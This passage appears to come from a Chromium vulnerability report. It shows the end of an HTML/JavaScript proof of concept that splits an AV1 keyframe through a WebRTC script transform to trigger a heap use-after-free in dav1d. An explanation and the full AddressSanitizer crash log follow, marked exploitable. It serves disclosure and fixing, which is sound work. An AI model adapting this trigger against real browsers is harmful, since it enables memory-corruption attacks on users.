                    tileDataOffset + '-' + tileDataEnd + ', passing through');
                  await writer.write(frame);
                  state = 'DONE'; // Don't retry
                  continue;
                }

                const { nBytes, tile0Size, tile1Size } = detected;
                const tile0DataStart = tileDataOffset + nBytes;
                const tile0DataEnd = tile0DataStart + tile0Size;
                const tile1DataStart = tile0DataEnd;

                self.postMessage('Tile split: n_bytes=' + nBytes +
                  ' tile0=' + tile0Size + 'B tile1=' + tile1Size + 'B' +
                  ' obuHdrAndSize=' + obuHdrAndSize +
                  ' tileHdr@' + tileHdrOffset + ' tileData@' + tileDataOffset);

                // === BUILD CHUNK 1 ===
                // SeqHdr + modified OBU_FRAME with only tile 0
                const fhLen = tileHdrOffset - frameObu.payloadOffset; // frame header bytes
                const framePayloadTile0 = new Uint8Array(
                  fhLen + 1 + nBytes + tile0Size // fh + tile_hdr + tile_size + tile0
                );
                // Copy frame header
                framePayloadTile0.set(data.slice(frameObu.payloadOffset, tileHdrOffset), 0);
                // New tile header: tile_start_and_end_present=1, start=0, end=0 = 0x80
                framePayloadTile0[fhLen] = 0x80;
                // Copy tile_size + tile 0 data
                framePayloadTile0.set(
                  data.slice(tileDataOffset, tile0DataEnd),
                  fhLen + 1
                );

                const newFrameSize = encodeLeb128(framePayloadTile0.length);
                const newFrameObu = new Uint8Array(1 + newFrameSize.length + framePayloadTile0.length);
                newFrameObu[0] = 0x32; // type=6(FRAME), has_size=1
                newFrameObu.set(newFrameSize, 1);
                newFrameObu.set(framePayloadTile0, 1 + newFrameSize.length);

                const chunk1 = new Uint8Array(seqHdrBytes.length + newFrameObu.length);
                chunk1.set(seqHdrBytes, 0);
                chunk1.set(newFrameObu, seqHdrBytes.length);

                // === BUILD CHUNK 2 ===
                // OBU_TILE_GRP with tile 1
                // Tile header: flag=1, start=1, end=1 = 0xE0
                const tileGrpPayload = new Uint8Array(1 + tile1Size);
                tileGrpPayload[0] = 0xE0;
                tileGrpPayload.set(data.slice(tile1DataStart, tileDataEnd), 1);

                const tileGrpSize = encodeLeb128(tileGrpPayload.length);
                const chunk2 = new Uint8Array(1 + tileGrpSize.length + tileGrpPayload.length);
                chunk2[0] = 0x22; // type=4(TILE_GRP), has_size=1
                chunk2.set(tileGrpSize, 1);
                chunk2.set(tileGrpPayload, 1 + tileGrpSize.length);

                self.postMessage('Chunk1: ' + chunk1.length + 'B, Chunk2: ' + chunk2.length + 'B');

                // Send chunk 1
                const buf1 = new ArrayBuffer(chunk1.length);
                new Uint8Array(buf1).set(chunk1);
                frame.data = buf1;
                await writer.write(frame);

                savedChunk2 = chunk2;
                state = 'SEND_CHUNK2';
                self.postMessage('Sent chunk1, waiting for next frame...');
                continue;
              }

              if (state === 'SEND_CHUNK2') {
                // After chunk1 caused decode error, WebRTC requests a new keyframe
                // and drops all delta frames. We need to wait for the next keyframe
                // (type === 'key') and replace IT with chunk2.
                if (frame.type === 'key' && savedChunk2) {
                  const buf2 = new ArrayBuffer(savedChunk2.length);
                  new Uint8Array(buf2).set(savedChunk2);
                  frame.data = buf2;
                  await writer.write(frame);
                  self.postMessage('Sent chunk2 (' + savedChunk2.length +
                    'B) via keyframe slot (frame ' + frameCount + ') -> UAF should trigger');
                  savedChunk2 = null;
                  state = 'DONE';
                } else {
                  // Drop delta frames (WebRTC will drop them anyway)
                  self.postMessage('Frame ' + frameCount + ' type=' + frame.type +
                    ' while waiting for keyframe, dropping');
                }
                continue;
              }

              if (state === 'DONE') {
                await writer.write(frame);
              }
            }
          }
          process().catch(e => self.postMessage('Transform error: ' + e));
        };
      `;

      try {
        const blob = new Blob([workerCode], { type: 'application/javascript' });
        const workerUrl = URL.createObjectURL(blob);
        const worker = new Worker(workerUrl);
        worker.onmessage = (e) => log('[worker] ' + e.data);
        worker.onerror = (e) => log('[worker-err] ' + e.message);

        receiver.transform = new RTCRtpScriptTransform(worker, {});
        log('[+] RTCRtpScriptTransform set on receiver');
      } catch (e) {
        log('[!] RTCRtpScriptTransform failed: ' + e.message);
        // Fallback: try createEncodedStreams
        try {
          const streams = receiver.createEncodedStreams();
          log('[+] createEncodedStreams succeeded (fallback)');
          // TODO: implement fallback with same logic
        } catch (e2) {
          log('[!] No Encoded Transform API: ' + e2.message);
        }
      }

      const video = document.createElement('video');
      video.srcObject = new MediaStream([event.track]);
      video.autoplay = true;
      video.muted = true;
      video.style.width = '320px';
      document.body.appendChild(video);
    };

    // SDP exchange
    log('[*] Creating offer...');
    const offer = await pc1.createOffer();
    const mungedOffer = { type: 'offer', sdp: preferAV1(offer.sdp) };
    await pc1.setLocalDescription(mungedOffer);
    await pc2.setRemoteDescription(mungedOffer);

    const recvTransceiver = pc2.getTransceivers().find(
      t => t.receiver.track.kind === 'video'
    );
    if (recvTransceiver && recvTransceiver.setCodecPreferences) {
      const caps = RTCRtpReceiver.getCapabilities('video');
      if (caps) {
        const av1Codecs = caps.codecs.filter(c =>
          c.mimeType.toLowerCase() === 'video/av1'
        );
        if (av1Codecs.length > 0) {
          recvTransceiver.setCodecPreferences(av1Codecs);
          log('[+] AV1 codec preference set on receiver');
        }
      }
    }

    const answer = await pc2.createAnswer();
    const mungedAnswer = { type: 'answer', sdp: preferAV1(answer.sdp) };
    await pc2.setLocalDescription(mungedAnswer);
    await pc1.setRemoteDescription(mungedAnswer);
    log('[+] WebRTC connection established');

    // Wait for frames + UAF
    log('[*] Waiting for keyframe and tile group split...');

    await new Promise(r => setTimeout(r, 15000));
    log('[*] PoC sequence complete. Check ASAN output.');

    pc1.close();
    pc2.close();
    videoTrack.stop();
  } catch (e) {
    log('[!] Error: ' + e.name + ': ' + e.message);
    log('[!] Stack: ' + e.stack);
  }
}

window.addEventListener('load', () => setTimeout(runPoc, 500));
</script>
</body>
</html>

The PoC establishes a local WebRTC loopback connection negotiated with AV1. An RTCRtpScriptTransform on the receiver side intercepts the first AV1 keyframe, parses its OBU structure, and splits the 2-tile frame into two separate chunks. Chunk 1 (containing only tile 0) is delivered immediately, causing dav1d to save tile data pointers and return EAGAIN. The EncodedImageBuffer backing chunk 1 is freed when Decode() returns. Chunk 2 (containing tile 1) is injected via the next keyframe slot, completing the tile set inside dav1d, which then reads through the freed tile 0 pointer.

ASAN output:

=================================================================
==1753512==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ce75394b89a at pc 0x7fd7bad9ecf3 bp 0x7bd349bc5a80 sp 0x7bd349bc5a78
READ of size 1 at 0x7ce75394b89a thread T4 (ThreadPoolForeg)
    #0 0x7fd7bad9ecf2 in dav1d_msac_init third_party/dav1d/libdav1d/src/msac.c:52:25
    #1 0x7fd7bad61bee in dav1d_decode_frame_init_cdf third_party/dav1d/libdav1d/src/decode.c:2456:5
    #2 0x7fd7bad64a54 in dav1d_decode_frame third_party/dav1d/libdav1d/src/decode.c:3290:21
    #3 0x7fd7bad679f6 in dav1d_submit_frame third_party/dav1d/libdav1d/src/decode.c:3698:20
    #4 0x7fd7bada29d2 in dav1d_parse_obus third_party/dav1d/libdav1d/src/obu.c:1682:24
    #5 0x7fd7bad9b8bb in gen_picture third_party/dav1d/libdav1d/src/lib.c:418:31
    #6 0x7fd7bad9b7bc in dav1d_send_data third_party/dav1d/libdav1d/src/lib.c:449:15
    #7 0x7fd7b9ce08c7 in webrtc::(anonymous namespace)::Dav1dDecoder::Decode(webrtc::EncodedImage const&, long) third_party/webrtc/modules/video_coding/codecs/av1/dav1d_decoder.cc:173:24
    #8 0x7fd7b8f96199 in webrtc::VCMGenericDecoder::Decode(webrtc::EncodedImage const&, webrtc::Timestamp, long, std::__Cr::optional<webrtc::FrameInstrumentationData> const&) third_party/webrtc/modules/video_coding/generic_decoder.cc:359:27
    #9 0x7fd7b8fc7399 in webrtc::VideoReceiver2::Decode(webrtc::EncodedFrame const*) third_party/webrtc/modules/video_coding/video_receiver2.cc:91:19
    #10 0x7fd7b904ed6f in webrtc::internal::VideoReceiveStream2::DecodeAndMaybeDispatchEncodedFrame(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>) third_party/webrtc/video/video_receive_stream2.cc:973:39
    #11 0x7fd7b904e799 in webrtc::internal::VideoReceiveStream2::HandleEncodedFrameOnDecodeQueue(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>, bool, bool) third_party/webrtc/video/video_receive_stream2.cc:919:23
    #12 0x7fd7b9051fa1 in void absl::internal_any_invocable::RemoteInvoker<false, void, webrtc::internal::VideoReceiveStream2::OnEncodedFrame(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>)::$_0&&>(absl::internal_any_invocable::TypeErasedState*) third_party/webrtc/video/video_receive_stream2.cc:830:32
    #13 0x7fd7b84fa57b in blink::WebRtcTaskQueue::RunTask(absl::AnyInvocable<void () &&>) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
    #14 0x7fd7b84fbcad in base::internal::Invoker<base::internal::FunctorTraits<void (blink::WebRtcTaskQueue::*&&)(absl::AnyInvocable<void () &&>), blink::WebRtcTaskQueue*, absl::AnyInvocable<void () &&>&&>, base::internal::BindState<true, true, false, void (blink::WebRtcTaskQueue::*)(absl::AnyInvocable<void () &&>), base::internal::RetainedRefWrapper<blink::WebRtcTaskQueue>, absl::AnyInvocable<void () &&>>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #15 0x7fd7d1f614f2 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #16 0x7fd7d202ab4b in base::internal::TaskTracker::RunTaskImpl(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/common/task_annotator.h:112:5
    #17 0x7fd7d202ad76 in base::internal::TaskTracker::RunSkipOnShutdown(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/thread_pool/task_tracker.cc:676:3
    #18 0x7fd7d202939c in base::internal::TaskTracker::RunTask(base::internal::Task, base::internal::TaskSource*, base::TaskTraits const&, base::ThreadType) base/task/thread_pool/task_tracker.cc:706:7
    #19 0x7fd7d2028559 in base::internal::TaskTracker::RunAndPopNextTask(base::internal::RegisteredTaskSource) base/task/thread_pool/task_tracker.cc:394:5
    #20 0x7fd7d204d493 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:473:36
    #21 0x7fd7d204c6ae in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #22 0x7fd7d204c0c2 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #23 0x7fd7d20de6fc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #24 0x556a2fc0ae36 in asan_thread_start(void*) asan_interceptors.cpp

0x7ce75394b89a is located 26 bytes inside of 236-byte region [0x7ce75394b880,0x7ce75394b96c)
freed by thread T4 (ThreadPoolForeg) here:
    #0 0x556a2fc4761d in operator delete[](void*) (/home/test/chromium/src/out/asan-release/chrome+0x684261d) (BuildId: 6bd3d63c01a5ac1d)
    #1 0x7fd7b8588a71 in webrtc::RefCountedObject<webrtc::EncodedImageBuffer>::~RefCountedObject() gen/third_party/libc++/src/include/__memory/unique_ptr.h:88:5
    #2 0x7fd7b8588989 in webrtc::RefCountedObject<webrtc::EncodedImageBuffer>::Release() const third_party/webrtc/rtc_base/ref_counted_object.h:42:7
    #3 0x7fd7b85873e8 in webrtc::EncodedImage::~EncodedImage() third_party/webrtc/api/scoped_refptr.h:105:13
    #4 0x7fd7b896fb81 in webrtc::RtpFrameObject::~RtpFrameObject() third_party/webrtc/api/video/encoded_frame.h:36:28
    #5 0x7fd7b904f734 in webrtc::internal::VideoReceiveStream2::DecodeAndMaybeDispatchEncodedFrame(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>) gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
    #6 0x7fd7b904e799 in webrtc::internal::VideoReceiveStream2::HandleEncodedFrameOnDecodeQueue(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>, bool, bool) third_party/webrtc/video/video_receive_stream2.cc:919:23
    #7 0x7fd7b9051fa1 in void absl::internal_any_invocable::RemoteInvoker<false, void, webrtc::internal::VideoReceiveStream2::OnEncodedFrame(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>)::$_0&&>(absl::internal_any_invocable::TypeErasedState*) third_party/webrtc/video/video_receive_stream2.cc:830:32
    #8 0x7fd7b84fa57b in blink::WebRtcTaskQueue::RunTask(absl::AnyInvocable<void () &&>) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
    #9 0x7fd7b84fbcad in base::internal::Invoker<base::internal::FunctorTraits<void (blink::WebRtcTaskQueue::*&&)(absl::AnyInvocable<void () &&>), blink::WebRtcTaskQueue*, absl::AnyInvocable<void () &&>&&>, base::internal::BindState<true, true, false, void (blink::WebRtcTaskQueue::*)(absl::AnyInvocable<void () &&>), base::internal::RetainedRefWrapper<blink::WebRtcTaskQueue>, absl::AnyInvocable<void () &&>>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #10 0x7fd7d1f614f2 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #11 0x7fd7d202ab4b in base::internal::TaskTracker::RunTaskImpl(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/common/task_annotator.h:112:5
    #12 0x7fd7d202ad76 in base::internal::TaskTracker::RunSkipOnShutdown(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/thread_pool/task_tracker.cc:676:3
    #13 0x7fd7d202939c in base::internal::TaskTracker::RunTask(base::internal::Task, base::internal::TaskSource*, base::TaskTraits const&, base::ThreadType) base/task/thread_pool/task_tracker.cc:706:7
    #14 0x7fd7d2028559 in base::internal::TaskTracker::RunAndPopNextTask(base::internal::RegisteredTaskSource) base/task/thread_pool/task_tracker.cc:394:5
    #15 0x7fd7d204d493 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:473:36
    #16 0x7fd7d204c6ae in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #17 0x7fd7d204c0c2 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #18 0x7fd7d20de6fc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #19 0x556a2fc0ae36 in asan_thread_start(void*) asan_interceptors.cpp

previously allocated by thread T16 (DedicatedWorker) here:
    #0 0x556a2fc46dfd in operator new[](unsigned long) (/home/test/chromium/src/out/asan-release/chrome+0x6841dfd) (BuildId: 6bd3d63c01a5ac1d)
    #1 0x7fd7b858604e in webrtc::EncodedImageBuffer::Create(unsigned char const*, unsigned long) third_party/webrtc/rtc_base/buffer.h:409:31
    #2 0x7fd7b89e1103 in webrtc::TransformableVideoReceiverFrame::SetData(webrtc::ArrayView<unsigned char const, -4711l>) third_party/webrtc/modules/rtp_rtcp/source/rtp_video_stream_receiver_frame_transformer_delegate.cc:63:9
    #3 0x7fd7698edcbc in blink::RTCEncodedVideoFrameDelegate::SetData(blink::DOMArrayBuffer const*) third_party/blink/renderer/modules/peerconnection/rtc_encoded_video_frame_delegate.cc:86:20
    #4 0x7fd7698eb6ef in blink::RTCEncodedVideoFrame::PassWebRtcFrame(v8::Isolate*, bool) third_party/blink/renderer/modules/peerconnection/rtc_encoded_video_frame.cc:330:14
    #5 0x7fd7698f67b7 in blink::RTCEncodedVideoUnderlyingSink::write(blink::ScriptState*, blink::ScriptValue, blink::WritableStreamDefaultController*, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_encoded_video_underlying_sink.cc:79:38
    #6 0x7fd7698e2be5 in blink::RTCEncodedUnderlyingSinkWrapper::write(blink::ScriptState*, blink::ScriptValue, blink::WritableStreamDefaultController*, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_encoded_underlying_sink_wrapper.cc:83:50
    #7 0x7fd781bef6ff in blink::UnderlyingSinkWriteAlgorithm::Run(blink::ScriptState*, base::span<v8::Local<v8::Value>, 18446744073709551615ul, v8::Local<v8::Value>*>) third_party/blink/renderer/core/streams/underlying_sink_base.h:51:12
    #8 0x7fd781c007bd in blink::WritableStreamDefaultController::AdvanceQueueIfNeeded(blink::ScriptState*, blink::WritableStreamDefaultController*) third_party/blink/renderer/core/streams/writable_stream_default_controller.cc:659:63
    #9 0x7fd781c014d6 in blink::WritableStreamDefaultController::Write(blink::ScriptState*, blink::WritableStreamDefaultController*, v8::Local<v8::Value>, double, blink::ExceptionState&) third_party/blink/renderer/core/streams/writable_stream_default_controller.cc:473:3
    #10 0x7fd781c0a749 in blink::WritableStreamDefaultWriter::Write(blink::ScriptState*, blink::WritableStreamDefaultWriter*, v8::Local<v8::Value>, blink::ExceptionState&) third_party/blink/renderer/core/streams/writable_stream_default_writer.cc:452:3
    #11 0x7fd781c09a85 in blink::WritableStreamDefaultWriter::write(blink::ScriptState*, blink::ScriptValue, blink::ExceptionState&) third_party/blink/renderer/core/streams/writable_stream_default_writer.cc:280:10
    #12 0x7fd783247717 in blink::(anonymous namespace)::v8_writable_stream_default_writer::WriteOperationCallback(v8::FunctionCallbackInfo<v8::Value> const&) gen/third_party/blink/renderer/bindings/core/v8/v8_writable_stream_default_writer.cc:311:32

SUMMARY: AddressSanitizer: heap-use-after-free third_party/dav1d/libdav1d/src/msac.c:52:25 in dav1d_msac_init
Shadow bytes around the buggy address:
  0x7ce75394b600: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x7ce75394b680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x7ce75394b700: fa fa fa fa fa fa f7 fa 00 00 00 00 00 00 00 00
  0x7ce75394b780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ce75394b800: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa f7 fa
=>0x7ce75394b880: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd
  0x7ce75394b900: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa
  0x7ce75394b980: fa fa fa fa fa fa f7 fa 00 00 00 00 00 00 00 00
  0x7ce75394ba00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ce75394ba80: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa f7 fa
  0x7ce75394bb00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

==1753512==ADDITIONAL INFO

==1753512==Note: Please include this section with the ASan report.
Task trace:
    #0 0x7fd7b904dcfe in webrtc::internal::VideoReceiveStream2::OnEncodedFrame(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>) third_party/webrtc/video/video_receive_stream2.cc:823:18
    #1 0x7fd7b89dfc2a in webrtc::RtpVideoStreamReceiverFrameTransformerDelegate::OnTransformedFrame(std::__Cr::unique_ptr<webrtc::TransformableFrameInterface, std::__Cr::default_delete<webrtc::TransformableFrameInterface>>) third_party/webrtc/modules/rtp_rtcp/source/rtp_video_stream_receiver_frame_transformer_delegate.cc:175:20


MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.

==1753512==ABORTING

Credit

c6eed09fc8b174b0f3eebedcceb1e792

View on issue tracker